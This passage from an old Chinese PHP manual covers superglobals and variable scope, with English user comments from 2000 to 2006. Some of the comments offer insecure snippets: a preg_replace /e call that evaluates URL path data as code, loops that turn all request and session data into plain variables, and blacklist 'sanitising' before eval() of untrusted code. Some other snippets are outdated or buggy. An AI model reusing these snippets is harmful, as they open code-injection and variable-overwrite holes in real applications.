echo '$var = "' . $var . '"';
/*
Will output:
$var = "test"
*/
?>

HTH
- Daerion
unleaded at nospam dot unleadedonline dot net
15-Jan-2003 10:37
References are great if you want to point to a variable which you don't quite know the value yet ;)

eg:

$error_msg = &$messages['login_error']; // Create a reference

$messages['login_error'] = 'test'; // Then later on set the referenced value

echo $error_msg; // echo the 'referenced value'

The output will be:

test
add a note add a note

后退 | 起点 | 前进
类型戏法 | 上一级 | 预定义变量


预定义变量

PHP 提供了大量的预定义变量。由于许多变量依赖于运行的服务器的版本和设置，及其它因素，所以并没有详细的说明文档。一些预定义变量在 PHP 以命令行形式运行时并不生效。有关这些变量的详细列表，请参阅预定义变量一章。

警告

PHP 4.2.0 以及后续版本中，PHP 指令 register_globals 的默认值为 off。这是 PHP 的一个主要变化。让 register_globals 的值为 off 将影响到预定义变量集在全局范围内的有效性。例如，为了得到 DOCUMENT_ROOT 的值，将必须使用 $_SERVER['DOCUMENT_ROOT'] 代替 $DOCUMENT_ROOT，又如，使用 $_GET['id'] 来代替 $id 从 URL http://www.example.com/test.php?id=3 中获取 id 值，亦或使用 $_ENV['HOME'] 来代替 $HOME 获取环境变量 HOME 的值。

更多相关信息，请阅读 register_globals 的配置项条目，安全一章中的使用 Register Globals，以及 PHP 4.1.0 和 4.2.0 的发行通告。

如果有可用的 PHP 预定义变量那最好用，如超全局变量。

从 PHP 4.1.0 开始，PHP 提供了一套附加的预定数组，这些数组变量包含了来自 web 服务器（如果可用），运行环境，和用户输入的数据。这些数组非常特别，它们在全局范围内自动生效，例如，在任何范围内自动生效。因此通常被称为自动全局变量（autoglobals）或者超全局变量（superglobals）。（PHP 中没有用户自定义超全局变量的机制。）超全局变量罗列于下文中；但是为了得到它们的内容和关于 PHP 预定义变量的进一步的讨论以及它们的本质，请参阅预定义变量。而且，你也将注意到旧的预定义数组（$HTTP_*_VARS）仍旧存在。自 PHP 5.0.0 起，长格式的 PHP 预定义变量可以通过设置 register_long_arrays 来屏蔽。

可变变量: 超级全局变量不能被用作可变变量。

注: 尽管超全局变量和 HTTP_*_VARS 同时存在。但是他们并不是同一个变量，所以改变一个的值并不会对另一个产生影响。

如果某些 variables_order 中的变量没有设定，它们的对应的 PHP 预定义数组也是空的。

PHP 超全局变量

$GLOBALS

包含一个引用指向每个当前脚本的全局范围内有效的变量。该数组的键名为全局变量的名称。从 PHP 3 开始存在 $GLOBALS 数组。

$_SERVER

变量由 web 服务器设定或者直接与当前脚本的执行环境相关联。类似于旧数组 $HTTP_SERVER_VARS 数组（依然有效，但反对使用）。

$_GET

经由 URL 请求提交至脚本的变量。类似于旧数组 $HTTP_GET_VARS 数组（依然有效，但反对使用）。

$_POST

经由 HTTP POST 方法提交至脚本的变量。类似于旧数组 $HTTP_POST_VARS 数组（依然有效，但反对使用）。

$_COOKIE

经由 HTTP Cookies 方法提交至脚本的变量。类似于旧数组 $HTTP_COOKIE_VARS 数组（依然有效，但反对使用）。

$_FILES

经由 HTTP POST 文件上传而提交至脚本的变量。类似于旧数组 $HTTP_POST_FILES 数组（依然有效，但反对使用）。详细信息请参阅 POST 方法上传。

$_ENV

执行环境提交至脚本的变量。类似于旧数组 $HTTP_ENV_VARS 数组（依然有效，但反对使用）。

$_REQUEST

经由 GET，POST 和 COOKIE 机制提交至脚本的变量，因此该数组并不值得信任。所有包含在该数组中的变量的存在与否以及变量的顺序均按照 php.ini 中的 variables_order 配置指示来定义。此数组在 PHP 4.1.0 之前没有直接对应的版本。参见 import_request_variables()。

注意

自 PHP 4.3.0 起，$_FILES 中的文件信息不再存在于 $_REQUEST 中。

注: 当运行于命令行模式时，此数组将不会包含 argv 和 argc 条目；它们已经存在于数组 $_SERVER 中。

$_SESSION

当前注册给脚本会话的变量。类似于旧数组 $HTTP_SESSION_VARS 数组（依然有效，但反对使用）。详细信息，请参照 Session 处理函数章节。

add a note add a note User Contributed Notes
Iigo Medina
05-May-2006 04:22
It is true. I usually write variables in this way: $chuckNorrisFilms. So one almost never finds problems.
johnphayes at gmail dot com
13-Apr-2006 01:36
I haven't found it anywhere else in the manual, so I'll make a note of it here - PHP will automatically replace any dots ('.') in an incoming variable name with underscores ('_'). So if you have dots in your incoming variables, e.g.:

example.com/page.php?chuck.norris=nevercries

you can not reference them by the name used in the URI:
//INCORRECT
echo $_GET['chuck.norris'];

instead you must use:
//CORRECT
echo $_GET['chuck_norris'];
jk at ricochetsolutions dot com
29-Mar-2006 05:41
here is a one line snippet to do the same as DD32's func

@preg_replace(
   "/(?i)([a-z0-9_]+)\/([a-z0-9_]+)\/?/e",
   '$_GET[\'$1\'] = "$2";',
   ((isset($_SERVER['PATH_INFO'])) ? $_SERVER['PATH_INFO'] : '')
);

may be faster, it may not ;o
DD32=theonly_DD32[&amp;]yahoo.com.au
19-Mar-2006 09:43
I have this function in my main files, it allows for easier SEO for some pages without having to rely on .htaccess and mod_rewrite for some things.
<?php
   function long_to_GET(){
       /**
       * This function converts info.php/a/1/b/2/c?d=4 TO
       * Array ( [d] => 4 [a] => 1 [b] => 2 [c] => )
       **/
       if(isset($_SERVER['PATH_INFO']) && $_SERVER['PATH_INFO'] != ''){
           //Split it out.
           $tmp = explode('/',$_SERVER['PATH_INFO']);
           //Remove first empty item
           unset($tmp[0]);
           //Loop through and apend it into the $_GET superglobal.
           for($i=1;$i<=count($tmp);$i+=2){ $_GET[$tmp[$i]] = $tmp[$i+1];}
       }
   }
?>

Its probably not the most efficient, but it does the job rather nicely.

DD32
08-Mar-2006 09:51
there is a difference to the scope of eg. java: variables that are defined inside a block are also defined outside of  the brackets.

eg. this works:

if {true}
{
  $a = 'it works';
}

echo $a;
Graeme Jefferis
13-Sep-2005 07:06
I find this sort of thing consistently useful for dealing with superglobals in safety and comfort.
<?php
foreach ($_POST as $key => $value)
{
       switch ($key)
       {
               case "submitted_var_1":
               case "submitted_var_2":
               case "submitted_var_3":
                       $$key = $value; break;

               case "dangerous_var":
                       $value = do_something_special_with($value);
                       $$key = $value;
                       break;
       }
}
?>
Nicole King
13-Sep-2005 02:01
There seems to a maximum size of key that you can use for the $_SESSION array on php5. If you exceed this length, which seems to be around 72 characters, the value is stored in the array, but is not serialised and restored later in the session (ie. when a subsquent page is processed). The same restriction *might* apply to other system-defined arrays.
webdesign at benking dot com
30-Aug-2005 05:33
# this is a follow-up to kasey at cornerspeed's 14-Jun-2004 08:33 post and debabratak at softhome's 14-Mar-2003 12:59 post, minus sessions but including a safety mechanism to block unwanted variables...

# if you are like me and do not want to have to type $_POST[some_var] to get to all your passed variable data, you can safely convert all the data to the variable names (so it is like old style php) by using a pre-defined allowed arg names list like this;

$allowed_args = ',f_name,l_name,subject,msg,';

foreach(array_keys($_POST) as $k) {
   $temp = ",$k,";
   if(strpos($allowed_args,$temp) !== false) { $$k = $_POST[$k]; }
}

# then you can use the programmer friendly (less typing) vars like so;
echo "Hello $f_name";

# make sure you have commas in front of and after each var name in the $allowed_args list, so strpos will never surprise you by mistakingly finding an unwanted var name within another var name
dompody [at] gmail [dot] com
15-May-2005 08:08
To urbanheroes:

version_compare() is only in PHP version 4.1.0 and up. This completely negates your function, since if the version is less than 4.1.0 it will generate an error anyway. The better solution is to do what is stated in the post above yours:

<?php
if (!isset($_SERVER))
{
   $_GET    = &$HTTP_GET_VARS;
   $_POST    = &$HTTP_POST_VARS;
   $_ENV    = &$HTTP_ENV_VARS;
   $_SERVER  = &$HTTP_SERVER_VARS;
   $_COOKIE  = &$HTTP_COOKIE_VARS;
   $_REQUEST = array_merge($_GET, $_POST, $_COOKIE);
}
?>

Include that before everything else in your script and it will fix the flaw.
myfirstname dot barros at gmail dot com
27-Apr-2005 10:10
vars in $_REQUEST are *not* a reference to the respective $_POST and $_GET and $_COOKIE ones.

Consider:
http://site.com/index.php?avar=abc

index.php:
<?php
$_GET['avar'] = 'b';
print_r($_GET); print('<br>');
print_r($_REQUEST);
?>

output:
Array ( [avar] => 'b' )
Array ( [avar] => 'abc' )
sendoshin[at]noodleroni[dot]com
27-Apr-2005 08:58
There is one way to safely execute PHP code files without running the risk of compromising your own code.  A prior note pointed out that the code being evaluated would still have access to globals using the global keyword.  While this is a valid point, there's one other approach to be looked at - one which actually gives you much more ability than just unsetting some variable references.  It's known as code parsing.

The specifics would be different and much more complex in a deployed site, but here's an extremely strip-down example of how to restrict access to global variables:

<?php
   while ($x = stristr ($code_to_eval, "global")) {
       $temp = substr ($code_to_eval, 1, $x-1);
       $temp .= substr ($code_to_eval, stristr ($code_to_eval, ";", $x) + 1);
       $code_to_eval = $temp;
   }
   $ret_val = eval ($code_to_eval);
?>

Of course, that's just a rudimentary example, and a deployment version would have much more checking involved, but parsing the file before you eval it lets you remove any code you don't want to let run, thus making it as safe as your parsing rules.
lanny at freemail dot hu
10-Apr-2005 05:32
From PHP 5.0.3 long predefined arrays such HTTP_GET_VARS got disabled by default. For backward compatibility you can enable them in php.ini:

register_long_arrays = On

I sugget a big WARNING up there like that one with the resister_globals.

Anyway.. I cannot understand why they do such tings all the time.
16-Feb-2005 08:35
php.net uses this

// Backward compatible array creation. After this point, the
// PHP 4.1.0+ arrays can be used to access variables coming
// from outside PHP. But it should be noted that these variables
// are not necessarily superglobals, so they need to be global-ed!
if (!isset($_SERVER))
{
   $_GET    = &$HTTP_GET_VARS;
   $_POST    = &$HTTP_POST_VARS;
   $_ENV    = &$HTTP_ENV_VARS;
   $_SERVER  = &$HTTP_SERVER_VARS;
   $_COOKIE  = &$HTTP_COOKIE_VARS;
   $_REQUEST = array_merge($_GET, $_POST, $_COOKIE);
}

$PHP_SELF = $_SERVER['PHP_SELF'];
kasey at cornerspeed dowt com
15-Jun-2004 08:33
I have a few points to note to (debabratak at softhome dot net).  Firstly, extracting all your variables from the global variable arrays is rather cumbersome and possibly unsafe.  This causes longer run times, and wastes more memory.  Then, your script is starting the session before it parses the superglobals.  Bad things can happen because of this:

<?php

// user sent a GET header with key = secret_access, val = true, so

echo $_GET["secret_access"]; // output: true
echo $secret_access; // output:

session_start();

// in previous logic, you set session variable $secret_access = false

echo $_SESSION["secret_access"]; // output: false
echo $secret_access; // output: false

extract_globals();  // Globals put into "normal" variables

echo $_GET["secret_access"]; // output: true
echo $_SESSION["secret_access"]; // output: false
echo $secret_access; // output: true

// VARIABLES ARE COMPROMISED!
// DO NOT USE $secret_access !
// USE $_SESSION["secret_access"] instead !!!

?>

Secondly, I would like to point out the fact that all $_POST, $_GET, and $_COOKIE variables are intrinsically unsafe anyway.  Users can create their own scripts in the language of their choosing (PHP, ASP, JSP, etc.) that generate those headers to send to your PHP program via socket connections.  PHP cannot determine that these headers are any less valid than the ones sent by a web browser, so it parses them and places them in the $_POST, $_GET, or $_COOKIE variables.

The best practice is to use $_SESSION variables to validate the user before making any decisions based on form data.  e.g.:

<?php
session_start();
if (isset($_SESSION["valid"]))
{
   // all your program decisions and database interactions can go here
   if (isset($_POST["button_name"]))
   {
       ...
   }
   ...
}
elseif (isset($_POST["submit_login"]))
{
   if (($_POST["username"] == "foo") AND ($_POST["password"] == "bar"))
   {
       $_SESSION["valid"] = true;
       ...
   }
   else
   {
       session_unset();
       session_destroy();
       $error_msg = "Invalid username or password";
       $result_page = "login.php";
   }
}
elseif (isset($logoff))
{
   session_unset();
   session_destroy();
   $success_msg = "You have logged off successfully";
   $result_page = "login.php";
}
else
{
   session_unset();
   session_destroy();
   $result_page = "login.php";
}
require ($result_page);
?>

Session variables are orders of magnitude harder to compromise than POST, GET, and COOKIE data, since the server keeps track of session id's, and the session id is unique to each client and somewhat randomly generated.  If security is an ultimate concern, then you need to use SSL in case your traffic can be sniffed (since the session cookie is passed plain text to the client).

In summary, extracting out all the superglobals to normal variable names is not a good idea for reasons of security and ambiguity, not to mention wasted CPU cycles.  For private applications (ones that you don't want just anyone to be able to access), the only ways you can prevent malicious access is to 1) use sessions to ensure that the user is valid (for that page), and 2) use SSL-encryption to prevent session-hijacking.

Kasey

in reply to:
--------------------------------------------------------------
 debabratak at softhome dot net
14-Mar-2003 12:59
After having register_globals = off, I am using the following piece of code to get all the variables created for me. I have put this code in a separate file and just make it require_once() on top of every page.

session_start();
$ArrayList = array("_GET", "_POST", "_SESSION", "_COOKIE", "_SERVER");
foreach($ArrayList as $gblArray)
{
   $keys = array_keys($$gblArray);
   foreach($keys as $key)
   {
       $$key = trim(${$gblArray}[$key]);
   }
}

This pulls out all the possible variables for me, including the predefined variables, so I can keep coding the old style. Note that, this code does not handle the $_FILE.

Hope this helps someone.
bryan at nolifeline dot com
11-May-2004 03:07
to marcbender at mail dot com

unset the globals

use a preg_replace ( pattern: |\;[^\;]*$i[^\;]*\;|Uis, replacement: ";", where $i is the name of any function/variable you wish to prevent access to.) on the code-to-be-evaled.  ideas are "global", "fopen", "mysql_connect", etc.  You know, anything that you wouldn't want to give a hyperactive 13 year old access to.

execute the code.
bryan at nolifeline dot com
11-May-2004 02:59
This code needs slightly changed...

function remap_globals() {

   global $GET_VARS, $POST_VARS, $COOKIE_VARS, $SESSION_VARS, $SERVER_VARS, $ENV_VARS;

   $parser_version = phpversion();

   if ($parser_version <= "4.1.0") {
     $GET = &$GET_VARS;
     $POST = &$POST_VARS;
     $COOKIES = &$COOKIE_VARS;
     $SESSION = &$HTTP_SESSION_VARS;
     $SERVER = &$HTTP_SERVER_VARS;
     $ENV = &$HTTP_ENV_VARS;
   }
   if ($parser_version >= "4.1.0") {
     $GET = &$_GET;
     $POST = &$_POST;
     $COOKIES  = &$_COOKIE;
     $SESSION  = &$_SESSION;
     $SERVER = &$_SERVER;
     $ENV = &$_ENV;
   }
}

Note the ampersands.  They ensure that the variables act _exactly_ like the superglobal components, ie: changing $SESSION will update $_SESSION and thus update the local session files.

So yeah.  I don't know what the PHP name for that is, but in C it's called dereferencing, and I've seen it done in function definitions in myriad people's code, but not once in a standard variable situation.  Oh well.  Can't be creative all the time ^_^
marcbender_AT_mail_DOT_com
19-Apr-2004 05:23
-Security issue-

In response to lopez at yellowspace,

You provided a method for executing potentially unsafe code:

> function safeEval($evalcode) {
>    unset($GLOBALS);
>    unset($_ENV);
>    // unset any other superglobal...
>    return eval($evalcode);
> }

Your method, though clever, won't work.  The problem is the way that PHP handles function scope.  If $evalcode contains a function declaration, and runs that function, the "unset"s will be effectively useless inside the body of that function.

Try running the above code with $evalcode set as follows:

<?php
$evalcode='f();
function f() {
   $GLOBALS["_SERVER"] = "compromised";
}';
?>

Then print $_SERVER and see what you get.

Another problem is that the "global" directive will always grant access to global variables.  Try this one:

<?php
$evalcode='global $a;
$a = "compromised";';
?>

$a will of course be changed at the global level.  I don't know if it's supposed to work this way, but on my system (PHP 4.3.4) you can do the same to any superglobal by importing it using "global".

As far as I can tell, there is NO way to execute potentially unsafe code without a lot of risk.  With the sloppy way that PHP deals with function scope etc., there isn't much hope that it ever will be.  What we'd need is (at least):
  - a way to disable the "global" directive (restrictive eval).
  - a way to shut off any write-access to superglobals within untrusted functions.

The first wouldn't be too hard to implement.  The second, on the other hand, is practically impossible IMHO.
mark at pitchpipe dot org
26-Oct-2003 01:21
I had always mistakenly assumed that superglobal $_COOKIE (while preferred) was identical to the outdated $HTTP_COOKIE_VARS.  However, if you assign:

$_COOKIE['destroyWorld'] = "true";
if (isset($HTTP_COOKIE_VARS['destroyWorld'])) {
   $temp =& new Armeggedon();
   $temp->pushRedButton();
 }

then the world will be safe forever.  Might throw off a newbie, or someone like me who was updating really old code bit-by-bit.
wagner at cesnet dot cz
29-Sep-2003 11:15
The redirected pages by response codes 301, 302, 303 change the request method always to GET, that's why $HTTP_POST_VARS are lost. It is described in Apache documentation.
joker at vip dot hr
09-Sep-2003 10:42
If anyone of you have a problem with uploading files with globals off here is the solution... just add this to the top of the code:

reset ($_FILES);
while (list ($key, $val) = each ($_FILES)) {
   ${$key}=$_FILES[$key]['tmp_name'];
   while (list ($key1, $val1) = each ($val)) {
       ${$key."_".$key1}=$_FILES[$key][$key1];
   }
}

   Daniel
alexsp at olywa dot net
03-May-2003 10:26
For those of us who don't have the luxery of upgrading to the latest version of PHP on all of the servers we use but want to use the same variable names that are used in the latest version for super global arrays here's a snippet of code that will help:
   // Makes available those super global arrays that are made available
   // in versions of PHP after v4.1.0.
   if (isset ($HTTP_SERVER_VARS))
   {
       $_SERVER = &$HTTP_SERVER_VARS;
   }

   if (isset ($HTTP_GET_VARS))
   {
       $_GET = &$HTTP_GET_VARS;
   }

   if (isset ($HTTP_POST_VARS))
   {
       $_POST = &$HTTP_POST_VARS;
   }

   if (isset ($HTTP_COOKIE_VARS))
   {
       $_COOKIE = &$HTTP_COOKIE_VARS;
   }

   if (isset ($HTTP_POST_FILES))
   {
       $_FILES = &$HTTP_POST_FILES;
   }

   if (isset ($HTTP_ENV_VARS))
   {
       $_ENV = &$HTTP_ENV_VARS;
   }

   if (isset ($HTTP_SESSION_VARS))
   {
       $_SESSION = &$HTTP_SESSION_VARS;
   }
The only downfall to this is that there's no way to make them super global. Chances are, though, if you're using a lot of global arrays in your code you should consider a code redesign!  :)  Hope this helps.
02-May-2003 12:06
In reply to destes at ix dot netcom dot com dot nospam:

It's possible for a HTTP client to spoof HTTP_X_FORWARDED_FOR, and set it to a fake IP number.  It's more secure to use this code and log BOTH the ip and the proxy ip.

if ($_SERVER["HTTP_X_FORWARDED_FOR"]) {
   if ($_SERVER["HTTP_CLIENT_IP"]) {
   $proxy = $_SERVER["HTTP_CLIENT_IP"];
  } else {
   $proxy = $_SERVER["REMOTE_ADDR"];
  }
  $ip = $_SERVER["HTTP_X_FORWARDED_FOR"];
} else {
  if ($_SERVER["HTTP_CLIENT_IP"]) {
   $ip = $_SERVER["HTTP_CLIENT_IP"];
  } else {
   $ip = $_SERVER["REMOTE_ADDR"];
  }
}

echo "Your IP $ip<BR>\n";
if (isset($proxy)) {
  echo "Your proxy IP is $proxy<BR>\n";
}
LouisGreen at pljg dot freeserve dot co dot uk
26-Mar-2003 02:22
It seems that when you wish to export a varible, you can do it as return $varible, return an array(), or globalise it. If you return something, information for that varible can only travel one way when the script is running, and that is out of the function.

function fn() {
   $varible = "something";

  return $variable;
}

echo fn();
OR
$newvariable = fn();

Although if global was used, it creates a pointer to a varible, whether it existed or not, and makes whatever is created in the function linked to that global pointer. So if the pointer was global $varible, and then you set a value to $varible, it would then be accessible in the global scope. But then what if you later on in the script redefine that global to equal something else. This means that whatever is put into the global array, the information that is set in the pointer, can be set at any point (overiden). Here is an example that might make this a little clearer:

function fn1() {

   global $varible; // Pointer to the global array
   $varible = "something";
}

fn1();
echo $varible; // Prints something
$varible = "12345";
echo $varible; // Prints 12345

function fn2() {

   global $varible; // Pointer to the global array
   echo $varible;
}

fn2(); // echos $varible which contains "12345"

Basically when accessing the global array, you can set it refer to something already defined or set it to something, (a pointer) such as varible you plan to create in the function, and later possibly over ride the pointer with something else.
Good Liam
20-Mar-2003 01:18
Warning:
If you use dynamic variables in a local scope, the variable doesn't "know" when it should be a superglobal.  An example will help elucidate this:

function Example($Variable_Name='_POST') {
   print_r($$Variable_Name);
} // End Example

This would print out

NULL

To use a dynamic variable to reference a superglobal, you have to declare the value (not the name) as a global:

function WorkingExample($Variable_Name='_POST') {
   global $$Variable_Name;
   print_r($$Variable_Name);
} // End WorkingExample()

This would print out the contents of your $_POST variable.

This threw me when I first tried it, but it makes sense, in a way.
LouisGreen at pljg dot freeserve dot co dot uk
13-Mar-2003 06:36
If you require access to Predefined Variables in different PHP/ servers versions and don't wish to mess about with how you access them, this little snippet of code might help you:

function fn_http_vars_access() {

   global $GET_VARS, $POST_VARS, $COOKIE_VARS, $SESSION_VARS, $SERVER_VARS, $ENV_VARS;

   $parser_version = phpversion();

   if ($parser_version <= "4.1.0") {
     $GET_VARS      = $GET_VARS;
     $POST_VARS    = $POST_VARS;
     $COOKIE_VARS  = $COOKIE_VARS;
     $SESSION_VARS  = $HTTP_SESSION_VARS;
     $SERVER_VARS  = $HTTP_SERVER_VARS;
     $ENV_VARS      = $HTTP_ENV_VARS;
   }
   if ($parser_version >= "4.1.0") {
     $GET_VARS      = $_GET;
     $POST_VARS    = $_POST;
     $COOKIE_VARS  = $_COOKIE;
     $SESSION_VARS  = $_SESSION;
     $SERVER_VARS  = $_SERVER;
     $ENV_VARS      = $_ENV;
   }
}

fn_http_vars_access();
12-Feb-2003 02:12
i just noticed that the free web server i'm running my scripts on still only knows the deprecated variable names (i.e. it uses $HTTP_POST_VARS instead of $_POST). to make scripts work both on updated servers and servers that are a bit out of date, i now use:

$variablename=(isset($_POST["variablename"])) ? $_POST["variablename"] : $HTTP_POST_VARS["variablename"];
lopez dot on dot the dot lists at yellowspace dot net
18-Jan-2003 10:11
- Security Issue and workaround -
If You use "eval()" to execute code stored in a database or elsewhere, you might find this tip useful.

Issue:
By default, all superglobals are known in every function.
Thus, if you eval database- or dynamically generated code (let's call it "potentially unsafe code"), it can use _all_ the values stored in _any_ superglobal.

Workaround:
Whenever you want to hide superglobals from use in evaluated code, wrap that eval() in an own function within which you unset() all the superglobals. The superglobals are not deleted by php in all scopes - just within that function. eg:

function safeEval($evalcode) {
   unset($GLOBALS);
   unset($_ENV);
   // unset any other superglobal...
   return eval($evalcode);
}

(This example assumes that the eval returns something with 'return')

In addition, by defining such a function outside classes, in the global scope, you'll make sure as well that the evaluated ('unsafe') code doesn't have access to the object variables ($this-> ...).
pschulten at NOSPMweb dot de
15-Aug-2002 04:30
In addition to slandau@miticom.com (14-Jan-2002 08:03).
You definetly restored my sanity, thanks.

If you post multiple textfields with the same name, you can also give them indices e.g.:
<input type='Text' name='some_date[year]' value='2002'>
<input type='Text' name='some_date[month]' value='08'>
<input type='Text' name='some_date[day]' value='02'>

and access them thru:
$_POST['some_date']['year']
$_POST['some_date']['month']
$_POST['some_date']['day']
09-Jul-2002 04:46
Wouldn't it be great if there was a variable called $_SERVER["PATH_USERHOME"]. Here is how to set it yourself:

$path_fs = split ("/", ltrim ($_SERVER["PATH_TRANSLATED"], "/"));
$path_fs_rev = array_reverse ($path_fs);

$path_http = split ("/", ltrim ($_SERVER["PHP_SELF"], "/"));
$path_http_rev = array_reverse ($path_http);

$num_same = 0;
while ($path_fs_rev[$num_same] == $path_http_rev[$num_same]) {
   $num_same++;
}

$path_userhome = array ();
$numdirs_userhome = sizeof ($path_http) - $num_same;
echo $numdirs_userhome;

for ($i = 0; $i < $numdirs_userhome; $i++) {
   array_push ($path_userhome, $path_http[$i]);
}

$_SERVER["PATH_USERHOME"] = "/" . implode ("/", $path_userhome) . "/";

print_r ($_SERVER["PATH_USERHOME"]);

;) Happy programming,

Peder
juancri at TAGnet dot org
01-Jun-2002 11:52
If you try this:

<FORM action="hola">
  ....
</FORM>

and hola is a directory, you have to write the final slash (/) because the page is redirected from hola to hola/ and you'll lost the POST variables.
admin at SexDev dot com
25-Apr-2002 04:17
The problem with empty HTTP_X_FORWARDED_FOR is because of anonymous proxy servers:

Anonymous - HTTP Proxy server does not send HTTP_X_FORWARDED_FOR variable to host, this improves privacy since your IP address cannot be logged.

High anonymity - HTTP Servers of this type dont send HTTP_X_FORWARDED_FOR, HTTP_VIA and HTTP_PROXY_CONNECTION variables. Host doesnt even know you are using proxy server an of course it doesnt know your IP address.
rick@independence,netI
24-Jul-2001 09:13
It should be noted that $HTTP_RAW_POST_DATA only exists if the encoding type of the data is -not- the default of application/x-www.form-urlencoded, and so, to accessing raw post data from an HTTP form requires setting enctype= in your HTML.
m dot crawford at nospam dot home dot com
11-Jun-2001 07:48
$GLOBALS["HTTP_RAW_POST_DATA"] contains the raw POSTed data from a request.  Also available (obviously) as $HTTP_RAW_POST_DATA in the global scope.  Thanks to Manuel Lemos' SOAP server class for shedding some light on the subject.
mike at dbeat dot com
23-Nov-2000 10:30
If you're running PHP as a shell script, and you want to use the argv and argc arrays to get command-line arguments, make sure you have register_argc_argv  =  on.  If you're using the 'optimized' php.ini, this defaults to off.
add a note add a note

后退 | 起点 | 前进
变量 | 上一级 | 变量范围


变量范围

变量的范围即它定义的上下文背景（也就是它的生效范围）。大部分的 PHP 变量只有一个单独的范围。这个单独的范围跨度同样包含了 include 和 require 引入的文件。例如：

<?php
$a = 1;
include 'b.inc';
?>

这里变量 $a 将会在包含文件 b.inc 中生效。但是，在用户自定义函数中，一个局部函数范围将被引入。任何用于函数内部的变量按缺省情况将被限制在局部函数范围内。例如：

<?php
$a = 1; /* global scope */

function Test()
{
    echo $a; /* reference to local scope variable */
}

Test();
?>

这个脚本不会有任何输出，因为 echo 语句引用了一个局部版本的变量 $a，而且在这个范围内，它并没有被赋值。你可能注意到 PHP 的全局变量和 C 语言有一点点不同，在 C 语言中，全局变量在函数中自动生效，除非被局部变量覆盖。这可能引起一些问题，有些人可能漫不经心的改变一个全局变量。PHP 中全局变量在函数中使用时必须申明为全局。

global 关键字

首先，一个使用 global 的例子：

例子 12-1. 使用 global

<?php
$a = 1;
$b = 2;

function Sum()
{
    global $a, $b;

    $b = $a + $b;
}

Sum();
echo $b;
?>

以上脚本的输出将是“3”。在函数中申明了全局变量 $a 和 $b，任何变量的所有引用变量都会指向到全局变量。对于一个函数能够申明的全局变量的最大个数，PHP 没有限制。

在全局范围内访问变量的第二个办法，是用特殊的 PHP 自定义 $GLOBALS 数组。前面的例子可以写成：

例子 12-2. 使用 $GLOBALS 替代 global

<?php
$a = 1;
$b = 2;

function Sum()
{
    $GLOBALS['b'] = $GLOBALS['a'] + $GLOBALS['b'];
}

Sum();
echo $b;
?>

在 $GLOBALS 数组中，每一个变量为一个元素，键名对应变量名，值对应变量的内容。$GLOBALS 之所以在全局范围内存在，是因为 $GLOBALS 是一个超全局变量。以下范例显示了超全局变量的用处：

例子 12-3. 演示超全局变量和作用域的例子

<?php
function test_global()
{
    // 大多数的预定义变量并不 "super"，它们需要用 'global' 关键字来使它们在函数的本地区域中有效。
    global $HTTP_POST_VARS;

    echo $HTTP_POST_VARS['name'];

    // Superglobals 在任何范围内都有效，它们并不需要 'global' 声明。Superglobals 是在 PHP 4.1.0 引入的。
    echo $_POST['name'];
}
?>

使用静态变量

变量范围的另一个重要特性是静态变量（static variable）。静态变量仅在局部函数域中存在，但当程序执行离开此作用域时，其值并不丢失。看看下面的例子：

例子 12-4. 演示需要静态变量的例子

<?php
function Test()
{
    $a = 0;
    echo $a;
    $a++;
}
?>

本函数没什么用处，因为每次调用时都会将 $a 的值设为 0 并输出 "0"。将变量加一的 $a++ 没有作用，因为一旦退出本函数则变量 $a 就不存在了。要写一个不会丢失本次计数值的计数函数，要将变量 $a 定义为静态的：

例子 12-5. 使用静态变量的例子

<?php
function Test()
{
    static $a = 0;
    echo $a;
    $a++;
}
?>

现在，每次调用 Test() 函数都会输出 $a 的值并加一。

静态变量也提供了一种处理递归函数的方法。递归函数是一种调用自己的函数。写递归函数时要小心，因为可能会无穷递归下去。必须确保有充分的方法来中止递归。一下这个简单的函数递归计数到 10，使用静态变量 $count 来判断何时停止：

例子 12-6. 静态变量与递归函数

<?php
function Test()
{
    static $count = 0;

    $count++;
    echo $count;
    if ($count < 10) {
        Test();
    }
    $count--;
}
?>

注: 静态变量可以按照上面的例子声明。如果在声明中用表达式的结果对其赋值会导致解析错误。

例子 12-7. 声明静态变量

<?php
function foo(){
    static $int = 0;          // correct
    static $int = 1+2;        // wrong  (as it is an expression)
    static $int = sqrt(121);  // wrong  (as it is an expression too)

    $int++;
    echo $int;
}
?>

全局和静态变量的引用

在 Zend 引擎 1 代，它驱动了 PHP4，对于变量的 static 和 global 定义是以 references 的方式实现的。例如，在一个函数域内部用 global 语句导入的一个真正的全局变量实际上是建立了一个到全局变量的引用。这有可能导致预料之外的行为，如以下例子所演示的：

<?php
function test_global_ref() {
    global $obj;
    $obj = &new stdclass;
}

function test_global_noref() {
    global $obj;
    $obj = new stdclass;
}

test_global_ref();
var_dump($obj);
test_global_noref();
var_dump($obj);
?>

执行以上例子会导致如下输出：

NULL
object(stdClass)(0) {
}

类似的行为也适用于 static 语句。引用并不是静态地存储的：

<?php
function &get_instance_ref() {
    static $obj;

    echo 'Static object: ';
    var_dump($obj);
    if (!isset($obj)) {
        // 将一个引用赋值给静态变量
        $obj = &new stdclass;
    }
    $obj->property++;
    return $obj;
}

function &get_instance_noref() {
    static $obj;

    echo 'Static object: ';
    var_dump($obj);
    if (!isset($obj)) {
        // 将一个对象赋值给静态变量
        $obj = new stdclass;
    }
    $obj->property++;
    return $obj;
}

$obj1 = get_instance_ref();
$still_obj1 = get_instance_ref();
echo "\n";
$obj2 = get_instance_noref();
$still_obj2 = get_instance_noref();
?>

执行以上例子会导致如下输出：

Static object: NULL
Static object: NULL

Static object: NULL
Static object: object(stdClass)(1) {
  ["property"]=>
  int(1)
}

上例演示了当把一个引用赋值给一个静态变量时，第二次调用 &get_instance_ref() 函数时其值并没有被记住。

add a note add a note User Contributed Notes
jason
29-Apr-2006 06:53
This is probably self-evident to most folks here, and I expected this behavior, but it wasn't explicitly mentioned in the manual itself so I tested to find out: the global keyword *will* allow you to access variables in the global scope of your script, even if those variables were not made available locally to the parent function.  In other words, the following will work as expected, even though $a is never referenced as global within the function foo:

<?php

function foo() {
   bar();
}

function bar() {
   global $a;
   echo $a;
}

$a = "works!";
foo();

?>
Rhett
04-Apr-2006 04:37
You could get around that:

<?php
function someFunction () {
   static $isInitialized = 0;
   static $otherStatic = 0; // or whatever default you want

   if (!$isInitialized) {
     $otherStatic = function(); // or whatever
     $isInitialized = 1;
   }
   ...
}
?>

Needs an extra variable and evaluates a condition every time it's run, but it does get around your problem.
SasQ
01-Apr-2006 05:02
<?php
I use PHP 4.3 and it's impossible to assign a variable or function result to a static variable :-(  Example:

function SomeFunction()
{
 $LocalVar = 5;
 static $MyStaticVar1 = some_function();  //ERROR
